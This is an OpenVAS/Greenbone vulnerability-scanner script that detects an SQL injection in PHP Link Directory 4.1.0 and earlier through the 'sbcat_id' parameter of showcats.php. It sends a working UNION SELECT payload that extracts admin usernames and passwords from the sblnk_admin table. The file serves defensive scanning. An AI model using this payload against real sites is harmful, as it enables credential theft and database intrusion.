PHP Link Directory Software 'sbcat_id' Parameter SQL Injection Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801836");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2011-02-07 15:21:16 +0100 (Mon, 07 Feb 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("PHP Link Directory Software 'sbcat_id' Parameter SQL Injection Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/16061/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/46048");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to cause SQL
  Injection attack and gain sensitive information.");

  script_tag(name:"affected", value:"PHP link Directory software 4.1.0 and prior.");

  script_tag(name:"insight", value:"The flaw is caused by improper validation of user-supplied input
  via the 'sbcat_id' parameter in showcats.php, which allows attacker to
  manipulate SQL queries by injecting arbitrary SQL code.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"PHP Link Directory Software is prone to an SQL injection (SQLi) vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("misc_func.inc");

port = http_get_port( default:80 );

if( ! http_can_host_php( port:port ) ) exit( 0 );

vt_strings = get_vt_strings();

foreach dir( make_list_unique( "/directory", "/", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";

  res = http_get_cache( item: dir + "/index.php", port:port );

  if( '>PHP link Directory software' >< res ) {
    url = dir + "/showcats.php?sbcat_id=-9999+union+all+select+1,concat(0x" + vt_strings["default_hex"] +
                ",0x3a,username,0x3a,password,0x3a,0x" + vt_strings["default_hex"] + "),3,4+" +
                "from+sblnk_admin--";

    if( http_vuln_check( port:port, url:url, pattern:'>' + vt_strings["default"] + ':(.+):(.+):' + vt_strings["default"] + '<' ) ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );